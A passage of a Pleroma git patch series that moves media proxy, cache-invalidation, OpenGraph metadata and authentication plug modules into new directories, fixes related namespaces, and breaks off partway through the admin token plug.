mediaproxy_whitelist_domains = + [:media_proxy, :whitelist] + |> Config.get() + |> Enum.map(&maybe_get_domain_from_url/1) + + whitelist_domains = + if base_url = Config.get([Upload, :base_url]) do + %{host: base_domain} = URI.parse(base_url) + [base_domain | mediaproxy_whitelist_domains] + else + mediaproxy_whitelist_domains + end + + domain in whitelist_domains + end + + defp maybe_get_domain_from_url("http" <> _ = url) do + URI.parse(url).host + end + + defp maybe_get_domain_from_url(domain), do: domain + + defp base64_sig64(url) do + base64 = Base.url_encode64(url, @base64_opts) + + sig64 = + base64 + |> signed_url() + |> Base.url_encode64(@base64_opts) + + {base64, sig64} + end + + def encode_url(url) do + {base64, sig64} = base64_sig64(url) + + build_url(sig64, base64, filename(url)) + end + + def encode_preview_url(url, preview_params \\ []) do + {base64, sig64} = base64_sig64(url) + + build_preview_url(sig64, base64, filename(url), preview_params) + end + + def decode_url(sig, url) do + with {:ok, sig} <- Base.url_decode64(sig, @base64_opts), + signature when signature == sig <- signed_url(url) do + {:ok, Base.url_decode64!(url, @base64_opts)} + else + _ -> {:error, :invalid_signature} + end + end + + defp signed_url(url) do + :crypto.hmac(:sha, Config.get([Web.Endpoint, :secret_key_base]), url) + end + + def filename(url_or_path) do + if path = URI.parse(url_or_path).path, do: Path.basename(path) + end + + def base_url do + Config.get([:media_proxy, :base_url], Web.base_url()) + end + + defp proxy_url(path, sig_base64, url_base64, filename) do + [ + base_url(), + path, + sig_base64, + url_base64, + filename + ] + |> Enum.filter(& &1) + |> Path.join() + end + + def build_url(sig_base64, url_base64, filename \\ nil) do + proxy_url("proxy", sig_base64, url_base64, filename) + end + + def build_preview_url(sig_base64, url_base64, filename \\ nil, preview_params \\ []) do + uri = proxy_url("proxy/preview", sig_base64, url_base64, filename) + + UriHelper.modify_uri_params(uri, preview_params) + end + + def verify_request_path_and_url( + %Plug.Conn{params: %{"filename" => _}, request_path: request_path}, + url + ) do + verify_request_path_and_url(request_path, url) + end + + def verify_request_path_and_url(request_path, url) when is_binary(request_path) do + filename = filename(url) + + if filename && not basename_matches?(request_path, filename) do + {:wrong_filename, filename} + else + :ok + end + end + + def verify_request_path_and_url(_, _), do: :ok + + defp basename_matches?(path, filename) do + basename = Path.basename(path) + basename == filename or URI.decode(basename) == filename or URI.encode(basename) == filename + end +end diff --git a/lib/pleroma/web/media_proxy/invalidation/http.ex b/lib/pleroma/web/media_proxy/invalidation/http.ex new file mode 100644 index 000000000..bb81d8888 --- /dev/null +++ b/lib/pleroma/web/media_proxy/invalidation/http.ex @@ -0,0 +1,40 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.Invalidation.Http do + @moduledoc false + @behaviour Pleroma.Web.MediaProxy.Invalidation + + require Logger + + @impl Pleroma.Web.MediaProxy.Invalidation + def purge(urls, opts \\ []) do + method = Keyword.get(opts, :method, :purge) + headers = Keyword.get(opts, :headers, []) + options = Keyword.get(opts, :options, []) + + Logger.debug("Running cache purge: #{inspect(urls)}") + + Enum.each(urls, fn url -> + with {:error, error} <- do_purge(method, url, headers, options) do + Logger.error("Error while cache purge: url - #{url}, error: #{inspect(error)}") + end + end) + + {:ok, urls} + end + + defp do_purge(method, url, headers, options) do + case Pleroma.HTTP.request(method, url, "", headers, options) do + {:ok, %{status: status} = env} when 400 <= status and status < 500 -> + {:error, env} + + {:error, error} = error -> + error + + _ -> + {:ok, "success"} + end + end +end diff --git a/lib/pleroma/web/media_proxy/invalidation/script.ex b/lib/pleroma/web/media_proxy/invalidation/script.ex new file mode 100644 index 000000000..d32ffc50b --- /dev/null +++ b/lib/pleroma/web/media_proxy/invalidation/script.ex @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.Invalidation.Script do + @moduledoc false + + @behaviour Pleroma.Web.MediaProxy.Invalidation + + require Logger + + @impl Pleroma.Web.MediaProxy.Invalidation + def purge(urls, opts \\ []) do + args = + urls + |> List.wrap() + |> Enum.uniq() + |> Enum.join(" ") + + opts + |> Keyword.get(:script_path) + |> do_purge([args]) + |> handle_result(urls) + end + + defp do_purge(script_path, args) when is_binary(script_path) do + path = Path.expand(script_path) + Logger.debug("Running cache purge: #{inspect(args)}, #{inspect(path)}") + System.cmd(path, args) + rescue + error -> error + end + + defp do_purge(_, _), do: {:error, "not found script path"} + + defp handle_result({_result, 0}, urls), do: {:ok, urls} + defp handle_result({:error, error}, urls), do: handle_result(error, urls) + + defp handle_result(error, _) do + Logger.error("Error while cache purge: #{inspect(error)}") + {:error, inspect(error)} + end +end diff --git a/lib/pleroma/web/media_proxy/invalidations/http.ex b/lib/pleroma/web/media_proxy/invalidations/http.ex deleted file mode 100644 index bb81d8888..000000000 --- a/lib/pleroma/web/media_proxy/invalidations/http.ex +++ /dev/null @@ -1,40 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.Invalidation.Http do - @moduledoc false - @behaviour Pleroma.Web.MediaProxy.Invalidation - - require Logger - - @impl Pleroma.Web.MediaProxy.Invalidation - def purge(urls, opts \\ []) do - method = Keyword.get(opts, :method, :purge) - headers = Keyword.get(opts, :headers, []) - options = Keyword.get(opts, :options, []) - - Logger.debug("Running cache purge: #{inspect(urls)}") - - Enum.each(urls, fn url -> - with {:error, error} <- do_purge(method, url, headers, options) do - Logger.error("Error while cache purge: url - #{url}, error: #{inspect(error)}") - end - end) - - {:ok, urls} - end - - defp do_purge(method, url, headers, options) do - case Pleroma.HTTP.request(method, url, "", headers, options) do - {:ok, %{status: status} = env} when 400 <= status and status < 500 -> - {:error, env} - - {:error, error} = error -> - error - - _ -> - {:ok, "success"} - end - end -end diff --git a/lib/pleroma/web/media_proxy/invalidations/script.ex b/lib/pleroma/web/media_proxy/invalidations/script.ex deleted file mode 100644 index d32ffc50b..000000000 --- a/lib/pleroma/web/media_proxy/invalidations/script.ex +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.Invalidation.Script do - @moduledoc false - - @behaviour Pleroma.Web.MediaProxy.Invalidation - - require Logger - - @impl Pleroma.Web.MediaProxy.Invalidation - def purge(urls, opts \\ []) do - args = - urls - |> List.wrap() - |> Enum.uniq() - |> Enum.join(" ") - - opts - |> Keyword.get(:script_path) - |> do_purge([args]) - |> handle_result(urls) - end - - defp do_purge(script_path, args) when is_binary(script_path) do - path = Path.expand(script_path) - Logger.debug("Running cache purge: #{inspect(args)}, #{inspect(path)}") - System.cmd(path, args) - rescue - error -> error - end - - defp do_purge(_, _), do: {:error, "not found script path"} - - defp handle_result({_result, 0}, urls), do: {:ok, urls} - defp handle_result({:error, error}, urls), do: handle_result(error, urls) - - defp handle_result(error, _) do - Logger.error("Error while cache purge: #{inspect(error)}") - {:error, inspect(error)} - end -end diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex deleted file mode 100644 index 8656b8cad..000000000 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ /dev/null @@ -1,186 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy do - alias Pleroma.Config - alias Pleroma.Helpers.UriHelper - alias Pleroma.Upload - alias Pleroma.Web - alias Pleroma.Web.MediaProxy.Invalidation - - @base64_opts [padding: false] - @cache_table :banned_urls_cache - - def cache_table, do: @cache_table - - @spec in_banned_urls(String.t()) :: boolean() - def in_banned_urls(url), do: elem(Cachex.exists?(@cache_table, url(url)), 1) - - def remove_from_banned_urls(urls) when is_list(urls) do - Cachex.execute!(@cache_table, fn cache -> - Enum.each(Invalidation.prepare_urls(urls), &Cachex.del(cache, &1)) - end) - end - - def remove_from_banned_urls(url) when is_binary(url) do - Cachex.del(@cache_table, url(url)) - end - - def put_in_banned_urls(urls) when is_list(urls) do - Cachex.execute!(@cache_table, fn cache -> - Enum.each(Invalidation.prepare_urls(urls), &Cachex.put(cache, &1, true)) - end) - end - - def put_in_banned_urls(url) when is_binary(url) do - Cachex.put(@cache_table, url(url), true) - end - - def url(url) when is_nil(url) or url == "", do: nil - def url("/" <> _ = url), do: url - - def url(url) do - if enabled?() and url_proxiable?(url) do - encode_url(url) - else - url - end - end - - @spec url_proxiable?(String.t()) :: boolean() - def url_proxiable?(url) do - not local?(url) and not whitelisted?(url) - end - - def preview_url(url, preview_params \\ []) do - if preview_enabled?() do - encode_preview_url(url, preview_params) - else - url(url) - end - end - - def enabled?, do: Config.get([:media_proxy, :enabled], false) - - # Note: media proxy must be enabled for media preview proxy in order to load all - # non-local non-whitelisted URLs through it and be sure that body size constraint is preserved. - def preview_enabled?, do: enabled?() and !!Config.get([:media_preview_proxy, :enabled]) - - def local?(url), do: String.starts_with?(url, Pleroma.Web.base_url()) - - def whitelisted?(url) do - %{host: domain} = URI.parse(url) - - mediaproxy_whitelist_domains = - [:media_proxy, :whitelist] - |> Config.get() - |> Enum.map(&maybe_get_domain_from_url/1) - - whitelist_domains = - if base_url = Config.get([Upload, :base_url]) do - %{host: base_domain} = URI.parse(base_url) - [base_domain | mediaproxy_whitelist_domains] - else - mediaproxy_whitelist_domains - end - - domain in whitelist_domains - end - - defp maybe_get_domain_from_url("http" <> _ = url) do - URI.parse(url).host - end - - defp maybe_get_domain_from_url(domain), do: domain - - defp base64_sig64(url) do - base64 = Base.url_encode64(url, @base64_opts) - - sig64 = - base64 - |> signed_url() - |> Base.url_encode64(@base64_opts) - - {base64, sig64} - end - - def encode_url(url) do - {base64, sig64} = base64_sig64(url) - - build_url(sig64, base64, filename(url)) - end - - def encode_preview_url(url, preview_params \\ []) do - {base64, sig64} = base64_sig64(url) - - build_preview_url(sig64, base64, filename(url), preview_params) - end - - def decode_url(sig, url) do - with {:ok, sig} <- Base.url_decode64(sig, @base64_opts), - signature when signature == sig <- signed_url(url) do - {:ok, Base.url_decode64!(url, @base64_opts)} - else - _ -> {:error, :invalid_signature} - end - end - - defp signed_url(url) do - :crypto.hmac(:sha, Config.get([Web.Endpoint, :secret_key_base]), url) - end - - def filename(url_or_path) do - if path = URI.parse(url_or_path).path, do: Path.basename(path) - end - - def base_url do - Config.get([:media_proxy, :base_url], Web.base_url()) - end - - defp proxy_url(path, sig_base64, url_base64, filename) do - [ - base_url(), - path, - sig_base64, - url_base64, - filename - ] - |> Enum.filter(& &1) - |> Path.join() - end - - def build_url(sig_base64, url_base64, filename \\ nil) do - proxy_url("proxy", sig_base64, url_base64, filename) - end - - def build_preview_url(sig_base64, url_base64, filename \\ nil, preview_params \\ []) do - uri = proxy_url("proxy/preview", sig_base64, url_base64, filename) - - UriHelper.modify_uri_params(uri, preview_params) - end - - def verify_request_path_and_url( - %Plug.Conn{params: %{"filename" => _}, request_path: request_path}, - url - ) do - verify_request_path_and_url(request_path, url) - end - - def verify_request_path_and_url(request_path, url) when is_binary(request_path) do - filename = filename(url) - - if filename && not basename_matches?(request_path, filename) do - {:wrong_filename, filename} - else - :ok - end - end - - def verify_request_path_and_url(_, _), do: :ok - - defp basename_matches?(path, filename) do - basename = Path.basename(path) - basename == filename or URI.decode(basename) == filename or URI.encode(basename) == filename - end -end diff --git a/lib/pleroma/web/metadata/providers/open_graph.ex b/lib/pleroma/web/metadata/providers/open_graph.ex new file mode 100644 index 000000000..bb1b23208 --- /dev/null +++ b/lib/pleroma/web/metadata/providers/open_graph.ex @@ -0,0 +1,119 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Metadata.Providers.OpenGraph do + alias Pleroma.User + alias Pleroma.Web.Metadata + alias Pleroma.Web.Metadata.Providers.Provider + alias Pleroma.Web.Metadata.Utils + + @behaviour Provider + @media_types ["image", "audio", "video"] + + @impl Provider + def build_tags(%{ + object: object, + url: url, + user: user + }) do + attachments = build_attachments(object) + scrubbed_content = Utils.scrub_html_and_truncate(object) + # Zero width space + content = + if scrubbed_content != "" and scrubbed_content != "\u200B" do + ": “" <> scrubbed_content <> "”" + else + "" + end + + # Most previews only show og:title which is inconvenient. Instagram + # hacks this by putting the description in the title and making the + # description longer prefixed by how many likes and shares the post + # has. Here we use the descriptive nickname in the title, and expand + # the full account & nickname in the description. We also use the cute^Wevil + # smart quotes around the status text like Instagram, too. + [ + {:meta, + [ + property: "og:title", + content: "#{user.name}" <> content + ], []}, + {:meta, [property: "og:url", content: url], []}, + {:meta, + [ + property: "og:description", + content: "#{Utils.user_name_string(user)}" <> content + ], []}, + {:meta, [property: "og:type", content: "website"], []} + ] ++ + if attachments == [] or Metadata.activity_nsfw?(object) do + [ + {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], + []}, + {:meta, [property: "og:image:width", content: 150], []}, + {:meta, [property: "og:image:height", content: 150], []} + ] + else + attachments + end + end + + @impl Provider + def build_tags(%{user: user}) do + with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do + [ + {:meta, + [ + property: "og:title", + content: Utils.user_name_string(user) + ], []}, + {:meta, [property: "og:url", content: user.uri || user.ap_id], []}, + {:meta, [property: "og:description", content: truncated_bio], []}, + {:meta, [property: "og:type", content: "website"], []}, + {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], []}, + {:meta, [property: "og:image:width", content: 150], []}, + {:meta, [property: "og:image:height", content: 150], []} + ] + end + end + + defp build_attachments(%{data: %{"attachment" => attachments}}) do + Enum.reduce(attachments, [], fn attachment, acc -> + rendered_tags = + Enum.reduce(attachment["url"], [], fn url, acc -> + # TODO: Add additional properties to objects when we have the data available. + # Also, Whatsapp only wants JPEG or PNGs. It seems that if we add a second og:image + # object when a Video or GIF is attached it will display that in Whatsapp Rich Preview. + case Utils.fetch_media_type(@media_types, url["mediaType"]) do + "audio" -> + [ + {:meta, [property: "og:audio", content: Utils.attachment_url(url["href"])], []} + | acc + ] + + "image" -> + [ + {:meta, [property: "og:image", content: Utils.attachment_url(url["href"])], []}, + {:meta, [property: "og:image:width", content: 150], []}, + {:meta, [property: "og:image:height", content: 150], []} + | acc + ] + + "video" -> + [ + {:meta, [property: "og:video", content: Utils.attachment_url(url["href"])], []} + | acc + ] + + _ -> + acc + end + end) + + acc ++ rendered_tags + end) + end + + defp build_attachments(_), do: [] +end diff --git a/lib/pleroma/web/metadata/providers/opengraph.ex b/lib/pleroma/web/metadata/providers/opengraph.ex deleted file mode 100644 index bb1b23208..000000000 --- a/lib/pleroma/web/metadata/providers/opengraph.ex +++ /dev/null @@ -1,119 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Metadata.Providers.OpenGraph do - alias Pleroma.User - alias Pleroma.Web.Metadata - alias Pleroma.Web.Metadata.Providers.Provider - alias Pleroma.Web.Metadata.Utils - - @behaviour Provider - @media_types ["image", "audio", "video"] - - @impl Provider - def build_tags(%{ - object: object, - url: url, - user: user - }) do - attachments = build_attachments(object) - scrubbed_content = Utils.scrub_html_and_truncate(object) - # Zero width space - content = - if scrubbed_content != "" and scrubbed_content != "\u200B" do - ": “" <> scrubbed_content <> "”" - else - "" - end - - # Most previews only show og:title which is inconvenient. Instagram - # hacks this by putting the description in the title and making the - # description longer prefixed by how many likes and shares the post - # has. Here we use the descriptive nickname in the title, and expand - # the full account & nickname in the description. We also use the cute^Wevil - # smart quotes around the status text like Instagram, too. - [ - {:meta, - [ - property: "og:title", - content: "#{user.name}" <> content - ], []}, - {:meta, [property: "og:url", content: url], []}, - {:meta, - [ - property: "og:description", - content: "#{Utils.user_name_string(user)}" <> content - ], []}, - {:meta, [property: "og:type", content: "website"], []} - ] ++ - if attachments == [] or Metadata.activity_nsfw?(object) do - [ - {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], - []}, - {:meta, [property: "og:image:width", content: 150], []}, - {:meta, [property: "og:image:height", content: 150], []} - ] - else - attachments - end - end - - @impl Provider - def build_tags(%{user: user}) do - with truncated_bio = Utils.scrub_html_and_truncate(user.bio) do - [ - {:meta, - [ - property: "og:title", - content: Utils.user_name_string(user) - ], []}, - {:meta, [property: "og:url", content: user.uri || user.ap_id], []}, - {:meta, [property: "og:description", content: truncated_bio], []}, - {:meta, [property: "og:type", content: "website"], []}, - {:meta, [property: "og:image", content: Utils.attachment_url(User.avatar_url(user))], []}, - {:meta, [property: "og:image:width", content: 150], []}, - {:meta, [property: "og:image:height", content: 150], []} - ] - end - end - - defp build_attachments(%{data: %{"attachment" => attachments}}) do - Enum.reduce(attachments, [], fn attachment, acc -> - rendered_tags = - Enum.reduce(attachment["url"], [], fn url, acc -> - # TODO: Add additional properties to objects when we have the data available. - # Also, Whatsapp only wants JPEG or PNGs. It seems that if we add a second og:image - # object when a Video or GIF is attached it will display that in Whatsapp Rich Preview. - case Utils.fetch_media_type(@media_types, url["mediaType"]) do - "audio" -> - [ - {:meta, [property: "og:audio", content: Utils.attachment_url(url["href"])], []} - | acc - ] - - "image" -> - [ - {:meta, [property: "og:image", content: Utils.attachment_url(url["href"])], []}, - {:meta, [property: "og:image:width", content: 150], []}, - {:meta, [property: "og:image:height", content: 150], []} - | acc - ] - - "video" -> - [ - {:meta, [property: "og:video", content: Utils.attachment_url(url["href"])], []} - | acc - ] - - _ -> - acc - end - end) - - acc ++ rendered_tags - end) - end - - defp build_attachments(_), do: [] -end diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index de1b0b3f0..9a4a350ae 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Web.OStatus.OStatusController do use Pleroma.Web, :controller - alias Fallback.RedirectController alias Pleroma.Activity alias Pleroma.Object alias Pleroma.Plugs.RateLimiter @@ -13,6 +12,7 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Web.ActivityPub.ActivityPubController alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.Endpoint + alias Pleroma.Web.Fallback.Fallback.RedirectController alias Pleroma.Web.Metadata.PlayerView alias Pleroma.Web.Router diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index e22b31b4c..48bb834b9 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -737,7 +737,7 @@ defmodule Pleroma.Web.Router do get("/check_password", MongooseIMController, :check_password) end - scope "/", Fallback do + scope "/", Pleroma.Web.Fallback do get("/registration/:token", RedirectController, :registration_page) get("/:maybe_nickname_or_id", RedirectController, :redirector_with_meta) get("/api*path", RedirectController, :api_not_implemented) diff --git a/test/pleroma/web/feed/user_controller_test.exs b/test/pleroma/web/feed/user_controller_test.exs index 9a5610baa..a5dc0894b 100644 --- a/test/pleroma/web/feed/user_controller_test.exs +++ b/test/pleroma/web/feed/user_controller_test.exs @@ -206,7 +206,7 @@ test "with html format, it redirects to user feed", %{conn: conn} do |> response(200) assert response == - Fallback.RedirectController.redirector_with_meta( + Pleroma.Web.Fallback.RedirectController.redirector_with_meta( conn, %{user: user} ).resp_body -- cgit v1.2.3 From 2501793f819813d792fdae493fb0f1e65c6cc7b3 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 08:35:22 +0300 Subject: moving plugs into web dir --- .../plugs/admin_secret_authentication_plug.ex | 60 ----- lib/pleroma/plugs/authentication_plug.ex | 80 ------ lib/pleroma/plugs/basic_auth_decoder_plug.ex | 25 -- lib/pleroma/plugs/cache.ex | 136 ----------- lib/pleroma/plugs/digest.ex | 14 -- lib/pleroma/plugs/ensure_authenticated_plug.ex | 41 ---- .../plugs/ensure_public_or_authenticated_plug.ex | 35 --- lib/pleroma/plugs/ensure_user_key_plug.ex | 18 -- .../plugs/expect_authenticated_check_plug.ex | 20 -- .../expect_public_or_authenticated_check_plug.ex | 21 -- lib/pleroma/plugs/federating_plug.ex | 32 --- lib/pleroma/plugs/http_security_plug.ex | 225 ----------------- lib/pleroma/plugs/http_signature.ex | 65 ----- lib/pleroma/plugs/idempotency_plug.ex | 84 ------- lib/pleroma/plugs/instance_static.ex | 53 ---- lib/pleroma/plugs/legacy_authentication_plug.ex | 42 ---- .../plugs/mapped_signature_to_identity_plug.ex | 71 ------ lib/pleroma/plugs/o_auth_plug.ex | 120 --------- lib/pleroma/plugs/o_auth_scopes_plug.ex | 77 ------ lib/pleroma/plugs/plug_helper.ex | 40 --- .../plugs/rate_limiter/limiter_supervisor.ex | 54 ----- lib/pleroma/plugs/rate_limiter/rate_limiter.ex | 267 --------------------- lib/pleroma/plugs/rate_limiter/supervisor.ex | 20 -- lib/pleroma/plugs/remote_ip.ex | 48 ---- lib/pleroma/plugs/session_authentication_plug.ex | 21 -- lib/pleroma/plugs/set_format_plug.ex | 24 -- lib/pleroma/plugs/set_locale_plug.ex | 63 ----- lib/pleroma/plugs/set_user_session_id_plug.ex | 19 -- lib/pleroma/plugs/static_fe_plug.ex | 26 -- lib/pleroma/plugs/trailing_format_plug.ex | 42 ---- lib/pleroma/plugs/uploaded_media.ex | 107 --------- lib/pleroma/plugs/user_enabled_plug.ex | 23 -- lib/pleroma/plugs/user_fetcher_plug.ex | 21 -- lib/pleroma/plugs/user_is_admin_plug.ex | 24 -- .../web/plugs/admin_secret_authentication_plug.ex | 60 +++++ lib/pleroma/web/plugs/authentication_plug.ex | 80 ++++++ lib/pleroma/web/plugs/basic_auth_decoder_plug.ex | 25 ++ lib/pleroma/web/plugs/cache.ex | 136 +++++++++++ lib/pleroma/web/plugs/digest.ex | 14 ++ lib/pleroma/web/plugs/ensure_authenticated_plug.ex | 41 ++++ .../plugs/ensure_public_or_authenticated_plug.ex | 35 +++ lib/pleroma/web/plugs/ensure_user_key_plug.ex | 18 ++ .../web/plugs/expect_authenticated_check_plug.ex | 20 ++ .../expect_public_or_authenticated_check_plug.ex | 21 ++ lib/pleroma/web/plugs/federating_plug.ex | 32 +++ lib/pleroma/web/plugs/http_security_plug.ex | 225 +++++++++++++++++ lib/pleroma/web/plugs/http_signature.ex | 65 +++++ lib/pleroma/web/plugs/idempotency_plug.ex | 84 +++++++ lib/pleroma/web/plugs/instance_static.ex | 53 ++++ .../web/plugs/legacy_authentication_plug.ex | 42 ++++ .../web/plugs/mapped_signature_to_identity_plug.ex | 71 ++++++ lib/pleroma/web/plugs/o_auth_plug.ex | 120 +++++++++ lib/pleroma/web/plugs/o_auth_scopes_plug.ex | 77 ++++++ lib/pleroma/web/plugs/plug_helper.ex | 40 +++ lib/pleroma/web/plugs/rate_limiter.ex | 267 +++++++++++++++++++++ .../web/plugs/rate_limiter/limiter_supervisor.ex | 54 +++++ lib/pleroma/web/plugs/rate_limiter/supervisor.ex | 20 ++ lib/pleroma/web/plugs/remote_ip.ex | 48 ++++ .../web/plugs/session_authentication_plug.ex | 21 ++ lib/pleroma/web/plugs/set_format_plug.ex | 24 ++ lib/pleroma/web/plugs/set_locale_plug.ex | 63 +++++ lib/pleroma/web/plugs/set_user_session_id_plug.ex | 19 ++ lib/pleroma/web/plugs/static_fe_plug.ex | 26 ++ lib/pleroma/web/plugs/trailing_format_plug.ex | 42 ++++ lib/pleroma/web/plugs/uploaded_media.ex | 107 +++++++++ lib/pleroma/web/plugs/user_enabled_plug.ex | 23 ++ lib/pleroma/web/plugs/user_fetcher_plug.ex | 21 ++ lib/pleroma/web/plugs/user_is_admin_plug.ex | 24 ++ 68 files changed, 2018 insertions(+), 2018 deletions(-) delete mode 100644 lib/pleroma/plugs/admin_secret_authentication_plug.ex delete mode 100644 lib/pleroma/plugs/authentication_plug.ex delete mode 100644 lib/pleroma/plugs/basic_auth_decoder_plug.ex delete mode 100644 lib/pleroma/plugs/cache.ex delete mode 100644 lib/pleroma/plugs/digest.ex delete mode 100644 lib/pleroma/plugs/ensure_authenticated_plug.ex delete mode 100644 lib/pleroma/plugs/ensure_public_or_authenticated_plug.ex delete mode 100644 lib/pleroma/plugs/ensure_user_key_plug.ex delete mode 100644 lib/pleroma/plugs/expect_authenticated_check_plug.ex delete mode 100644 lib/pleroma/plugs/expect_public_or_authenticated_check_plug.ex delete mode 100644 lib/pleroma/plugs/federating_plug.ex delete mode 100644 lib/pleroma/plugs/http_security_plug.ex delete mode 100644 lib/pleroma/plugs/http_signature.ex delete mode 100644 lib/pleroma/plugs/idempotency_plug.ex delete mode 100644 lib/pleroma/plugs/instance_static.ex delete mode 100644 lib/pleroma/plugs/legacy_authentication_plug.ex delete mode 100644 lib/pleroma/plugs/mapped_signature_to_identity_plug.ex delete mode 100644 lib/pleroma/plugs/o_auth_plug.ex delete mode 100644 lib/pleroma/plugs/o_auth_scopes_plug.ex delete mode 100644 lib/pleroma/plugs/plug_helper.ex delete mode 100644 lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex delete mode 100644 lib/pleroma/plugs/rate_limiter/rate_limiter.ex delete mode 100644 lib/pleroma/plugs/rate_limiter/supervisor.ex delete mode 100644 lib/pleroma/plugs/remote_ip.ex delete mode 100644 lib/pleroma/plugs/session_authentication_plug.ex delete mode 100644 lib/pleroma/plugs/set_format_plug.ex delete mode 100644 lib/pleroma/plugs/set_locale_plug.ex delete mode 100644 lib/pleroma/plugs/set_user_session_id_plug.ex delete mode 100644 lib/pleroma/plugs/static_fe_plug.ex delete mode 100644 lib/pleroma/plugs/trailing_format_plug.ex delete mode 100644 lib/pleroma/plugs/uploaded_media.ex delete mode 100644 lib/pleroma/plugs/user_enabled_plug.ex delete mode 100644 lib/pleroma/plugs/user_fetcher_plug.ex delete mode 100644 lib/pleroma/plugs/user_is_admin_plug.ex create mode 100644 lib/pleroma/web/plugs/admin_secret_authentication_plug.ex create mode 100644 lib/pleroma/web/plugs/authentication_plug.ex create mode 100644 lib/pleroma/web/plugs/basic_auth_decoder_plug.ex create mode 100644 lib/pleroma/web/plugs/cache.ex create mode 100644 lib/pleroma/web/plugs/digest.ex create mode 100644 lib/pleroma/web/plugs/ensure_authenticated_plug.ex create mode 100644 lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex create mode 100644 lib/pleroma/web/plugs/ensure_user_key_plug.ex create mode 100644 lib/pleroma/web/plugs/expect_authenticated_check_plug.ex create mode 100644 lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex create mode 100644 lib/pleroma/web/plugs/federating_plug.ex create mode 100644 lib/pleroma/web/plugs/http_security_plug.ex create mode 100644 lib/pleroma/web/plugs/http_signature.ex create mode 100644 lib/pleroma/web/plugs/idempotency_plug.ex create mode 100644 lib/pleroma/web/plugs/instance_static.ex create mode 100644 lib/pleroma/web/plugs/legacy_authentication_plug.ex create mode 100644 lib/pleroma/web/plugs/mapped_signature_to_identity_plug.ex create mode 100644 lib/pleroma/web/plugs/o_auth_plug.ex create mode 100644 lib/pleroma/web/plugs/o_auth_scopes_plug.ex create mode 100644 lib/pleroma/web/plugs/plug_helper.ex create mode 100644 lib/pleroma/web/plugs/rate_limiter.ex create mode 100644 lib/pleroma/web/plugs/rate_limiter/limiter_supervisor.ex create mode 100644 lib/pleroma/web/plugs/rate_limiter/supervisor.ex create mode 100644 lib/pleroma/web/plugs/remote_ip.ex create mode 100644 lib/pleroma/web/plugs/session_authentication_plug.ex create mode 100644 lib/pleroma/web/plugs/set_format_plug.ex create mode 100644 lib/pleroma/web/plugs/set_locale_plug.ex create mode 100644 lib/pleroma/web/plugs/set_user_session_id_plug.ex create mode 100644 lib/pleroma/web/plugs/static_fe_plug.ex create mode 100644 lib/pleroma/web/plugs/trailing_format_plug.ex create mode 100644 lib/pleroma/web/plugs/uploaded_media.ex create mode 100644 lib/pleroma/web/plugs/user_enabled_plug.ex create mode 100644 lib/pleroma/web/plugs/user_fetcher_plug.ex create mode 100644 lib/pleroma/web/plugs/user_is_admin_plug.ex diff --git a/lib/pleroma/plugs/admin_secret_authentication_plug.ex b/lib/pleroma/plugs/admin_secret_authentication_plug.ex deleted file mode 100644 index 2e54df47a..000000000 --- a/lib/pleroma/plugs/admin_secret_authentication_plug.ex +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.AdminSecretAuthenticationPlug do - import Plug.Conn - - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter - alias Pleroma.User - - def init(options) do - options - end - - def secret_token do - case Pleroma.Config.get(:admin_token) do - blank when blank in [nil, ""] -> nil - token -> token - end - end - - def call(%{assigns: %{user: %User{}}} = conn, _), do: conn - - def call(conn, _) do - if secret_token() do - authenticate(conn) - else - conn - end - end - - def authenticate(%{params: %{"admin_token" => admin_token}} = conn) do - if admin_token == secret_token() do - assign_admin_user(conn) - else - handle_bad_token(conn) - end - end - - def authenticate(conn) do - token = secret_token() - - case get_req_header(conn, "x-admin-token") do - blank when blank in [[], [""]] -> conn - [^token] -> assign_admin_user(conn) - _ -> 